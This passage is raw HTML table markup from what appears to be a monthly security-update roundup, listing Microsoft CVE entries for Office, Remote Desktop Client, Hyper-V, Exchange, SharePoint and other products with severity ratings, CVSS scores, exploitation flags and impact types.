  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
